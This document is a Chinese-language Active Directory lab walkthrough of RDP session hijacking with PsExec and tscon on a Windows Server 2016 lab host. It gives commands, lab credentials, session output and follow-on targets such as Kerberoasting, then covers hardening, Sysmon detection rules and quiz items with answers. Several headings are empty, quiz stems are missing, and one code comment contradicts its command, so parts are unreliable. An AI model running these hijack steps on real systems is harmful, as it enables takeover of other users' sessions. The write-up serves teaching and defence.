PowerShell 監控:
# 檢查異常的 Token 使用
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4672} |
Where-Object {$_.Properties[1].Value -like "*SeImpersonatePrivilege*"}
Token 擁有者 | 狀態 | 類型 | 價值評估 | 後續利用方向 |
---|---|---|---|---|
jeor.mormont | 原始帳號 | 管理員 | 高 | 本機完全控制 |
robb.stark | 已模擬 | 網域使用者 | 中高 | 橫向移動、資料存取 |
sql_svc | 可模擬 | 服務帳號 | 極高 | Kerberoasting、特權操作 |
SYSTEM | 已擁有 | 系統帳號 | 極高 | 本機最高權限 |
關鍵發現:
建議下一步行動:
Windows 的終端機服務(Terminal Services)允許具有 SYSTEM 權限的處理程序透過 tscon.exe
工具連接到任何使用者的 RDP Session,且無需驗證密碼。這是 Windows 設計的功能,原意是讓系統管理員能夠協助使用者排除問題,但卻成為攻擊者橫向移動和提權的有效途徑。
攻擊流程:
取得目標主機的管理員權限
↓
提升至 SYSTEM 權限
↓
列舉所有活躍的 RDP Sessions
↓
使用 tscon.exe 劫持目標 Session
↓
以目標使用者身份執行所有操作
必要條件:
作業系統限制:
作業系統版本 | 是否需要密碼 | 可利用性 |
---|---|---|
Windows Server 2016 及更早版本 | 否 | 完全可利用 |
Windows Server 2019 及更新版本 | 是 | 已修補 |
Windows 10 1803 之前版本 | 否 | 完全可利用 |
Windows 10 1803 及更新版本 | 是 | 已修補 |
本次實驗環境:
目標主機:BRAAVOS
IP 位址:192.168.139.23
作業系統:Windows Server 2016 Standard Evaluation
域:essos.local
狀態:易受攻擊(未修補版本)
首先,讓域管理員 daenerys.targaryen 登入目標主機:
xfreerdp3 /d:essos.local \
/u:daenerys.targaryen \
/p:'BurnThemAll!' \
/v:192.168.139.23 \
/cert:ignore \
+clipboard
模擬使用者行為:
登入後開啟一些應用程式,例如:
whoami
確認身份為 essos\daenerys.targaryen
這些開啟的應用程式將在稍後的劫持中被看到,作為劫持成功的明顯證據。
接著,使用本機管理員帳號 khal.drogo 登入同一台主機:
xfreerdp3 /d:essos.local \
/u:khal.drogo \
/p:'horse' \
/v:192.168.139.23 \
/cert:ignore \
+clipboard
注意事項:
在 khal.drogo 的 RDP Session 中開啟瀏覽器,前往:
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
下載 PSTools 套件並解壓縮至:
C:\Users\khal.drogo\Documents\PSTools
PsExec 是 Microsoft Sysinternals 套件中的工具,允許在本機或遠端電腦上執行處理程序。使用 -s
參數可以讓處理程序以 SYSTEM 身份執行。
關鍵參數:
-s
:以 SYSTEM 帳戶執行-i
:允許處理程序與桌面互動(開啟視窗)-accepteula
:自動接受授權條款(避免首次執行提示)在 khal.drogo 的桌面上:
PowerShell
或在現有 PowerShell 中執行:
Start-Process powershell -Verb RunAs
在新開啟的 PowerShell 視窗中確認權限:
whoami
# 輸出:essos\khal.drogo
cd C:\Users\khal.drogo\Documents\PSTools
.\PsExec64.exe -s -i cmd.exe
預期輸出:
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
隨後會開啟一個新的 cmd.exe 視窗,這個視窗以 SYSTEM 身份執行。
在新開啟的 cmd.exe 視窗中:
whoami
正確輸出:
nt authority\system
如果輸出不是 nt authority\system
,請檢查:
在 SYSTEM 權限的 cmd.exe 視窗中執行:
query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>khal.drogo rdp-tcp#2 2 Active . 10/11/2025 7:00 AM
daenerys.targaryen 3 Disc 6 10/11/2025 8:15 AM
欄位說明:
欄位 | 說明 | 本例數值 |
---|---|---|
> 符號 |
標記目前所在的 Session | khal.drogo 的 Session |
USERNAME | 登入的使用者名稱 | khal.drogo / daenerys.targaryen |
SESSIONNAME | Session 連線名稱 | rdp-tcp#2(khal)/ 空白(daenerys) |
ID | Session 的數字識別碼 | 2(khal)/ 3(daenerys) |
STATE | Session 狀態 | Active(活躍)/ Disc(中斷) |
IDLE TIME | 閒置時間 | .(剛操作)/ 6(閒置 6 分鐘) |
LOGON TIME | 登入時間 | 登入的具體時間 |
Session 狀態說明:
從輸出中我們可以得知:
目標識別
攻擊者位置
>
符號表示這是目前所在的 Sessionrdp-tcp#2
劫持可行性
在 SYSTEM 權限的 cmd.exe 中執行:
tscon 3
指令說明:
tscon
:Terminal Services Connection 工具3
:要劫持的 Session ID(daenerys.targaryen 的 Session)tscon 3 /dest:rdp-tcp#2
參數說明:
3
:目標 Session ID/dest:rdp-tcp#2
:目的地 Session 名稱(khal.drogo 的 Session)注意: 如果省略 /dest
參數,tscon 會自動將目標 Session 劫持到執行指令的目前 Session。
攻擊者視角(khal.drogo 的 RDP 視窗):
執行 tscon 3 指令
↓
RDP 視窗畫面閃爍約 1-2 秒
↓
桌面環境完全改變
↓
現在顯示的是 daenerys 的桌面
↓
可以看到 daenerys 之前開啟的應用程式
↓
工作列、桌面背景、檔案都是 daenerys 的
受害者視角(daenerys.targaryen):
由於 daenerys 的 Session 原本就處於中斷狀態(Disc),她不會察覺到異常。如果她嘗試重新連線:
嘗試 RDP 連線到 BRAAVOS
↓
收到錯誤訊息:
「另一個使用者已登入此工作階段」
或
「工作階段已被鎖定」
在劫持後的桌面開啟 PowerShell 或 cmd.exe,執行:
whoami
預期輸出:
essos\daenerys.targaryen
組態政策設定:
# 停用 UNC 強化路徑存取
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths" `
-Name "\\*\*" `
-Value "RequireMutualAuthentication=1,RequireIntegrity=1"
SMB 強化:
共享資料夾管理:
# 停用 WebClient 服務
Set-Service WebClient -StartupType Disabled
Stop-Service WebClient
# 透過 GPO 部署到所有主機
LDAP 強化:
1. 啟用 LDAP Signing (強制)
2. 啟用 LDAP Channel Binding
3. 停用 LDAPS 上的 NTLM 認證
權限管理:
# 審查哪些帳號有 SeImpersonatePrivilege
whoami /priv
# 移除不必要的特權
隔離特權帳號:
限制 RDP 存取:
# 透過防火牆限制 RDP 來源
New-NetFirewallRule -DisplayName "RDP-Restricted" `
-Direction Inbound `
-Protocol TCP `
-LocalPort 3389 `
-RemoteAddress 10.10.10.0/24 `
-Action Allow
升級到最新版本:
Event ID 監控:
Event ID | 描述 | 偵測內容 |
---|---|---|
4624 | 帳戶登入 | 異常來源 IP 的 Type 3 登入 |
4672 | 特權使用 | SeDebugPrivilege, SeImpersonatePrivilege 的使用 |
4648 | 使用明確憑證登入 | Token 模擬或 RunAs |
4778 | RDP Session重新連線 | tscon 造成的Session切換 |
Sysmon 規則:
<RuleGroup name="Token Impersonation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">impersonate</CommandLine>
<CommandLine condition="contains">incognito</CommandLine>
</ProcessCreate>
</RuleGroup>
<RuleGroup name="RDP Hijack" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="end with">tscon.exe</Image>
<ParentImage condition="end with">cmd.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
A. .lnk
B. .scf
C. .url
D. 以上皆是
答案: D
解析: 所有這些檔案類型都會在 Explorer.exe 載入資料夾內容時自動嘗試讀取遠端 UNC 路徑,從而觸發 NTLM 認證。這是 Windows 檔案系統的設計特性,不需要使用者點擊檔案。
A. 預設啟用且執行中
B. 預設啟用但停止
C. 工作站安裝但停止,伺服器未安裝
D. 完全未安裝
答案: C
解析: WebClient (WebDAV) 服務在 Windows 工作站上預設安裝但停止,在 Windows Server 上則預設不安裝。這就是為什麼需要透過特殊檔案 (如 .searchConnector-ms) 來觸發服務自動啟動。
A. 速度更快
B. 可以 Relay 到 LDAP
C. 不需要憑證
D. 更隱蔽
答案: B
解析: HTTP 認證可以被 Relay 到 LDAP (如果未啟用 LDAP Signing/Channel Binding),這允許執行如 Shadow Credentials、RBCD、ACL 修改等高權限操作。HTTPS 則因為 Channel Binding 而較難 Relay。
A. Domain Admin
B. Local Admin
C. SeImpersonatePrivilege
D. SeDebugPrivilege
答案: C
解析: Token 模擬需要 SeImpersonatePrivilege 權限。這個權限允許 process「假扮」成其他使用者。許多服務帳號 (如 IIS、MSSQL) 預設擁有此權限,這也是 Potato 系列提權攻擊的基礎。
A. Windows Server 2012 R2
B. Windows Server 2016
C. Windows Server 2019
D. 所有版本都有此功能
答案: C
解析: Windows Server 2019 及更新版本已修補此問題,即使有 SYSTEM 權限也無法使用 tscon
無密碼劫持其他使用者的 RDP Session。Windows Server 2016 及更早版本仍然存在此風險。